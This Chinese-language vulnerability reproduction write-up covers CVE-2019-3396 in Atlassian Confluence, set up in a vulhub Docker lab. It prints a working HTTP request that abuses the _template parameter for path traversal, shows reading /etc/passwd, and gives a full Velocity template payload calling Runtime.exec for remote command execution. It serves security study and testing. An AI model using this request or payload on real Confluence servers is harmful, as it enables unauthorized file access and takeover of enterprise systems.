Atlassian Confluence 路径穿越与命令执行漏洞复现
2020-12-18 14:29:01 Author: www.freebuf.com(查看原文) 阅读量:215 收藏

0x00 背景简述

Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

0x01 漏洞环境

1.环境搭建:https://vulhub.org/#/docs/

# 切换到目录
cd vulhub-master/confluence/CVE-2019-3396
# 安装启动环境
docker-compose up -d

tips:环境启动可能时间较长

2.启动成功之后,访问http://ip:8090会进入安装引导,选择“Trial installation”,点击“Next”进入下一步

1608269392_5fdc3e507bb877088892c.png!small

3.点击Get an evaluation license进行注册得到license,申请一个Confluence Server的测试证书

1608269403_5fdc3e5ba10067c2490f9.png!small

4.继续按步骤填入信息,直到安装完成。安装过程时间较长,耐心等待。

1608269412_5fdc3e6431e3613cd49d0.png!small

0x02 漏洞复现

1.访问首页,用bp抓包,发送到重发器。将原始数据改成代码块中的内容,发送,便可读取文件web.xml

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://ip:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
 
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

1608269421_5fdc3e6d3e9f67cd82abf.png!small

2.版本6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件

1608269427_5fdc3e739a50a8bbea7a3.png!small

3、实现RCE excute command。

主要原理是根据读文件的思路,远程包含外网可访问的.vm文件来创造执行命令的环境,进而实现RCE。

.vm文件内容如下:

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令

1608269437_5fdc3e7d3078b589f4faf.png!small

0x03 参考资料

1.https://vulhub.org/#/environments/confluence/CVE-2019-3396/


文章来源: https://www.freebuf.com/vuls/258223.html
如有侵权请联系:admin#unsafe.sh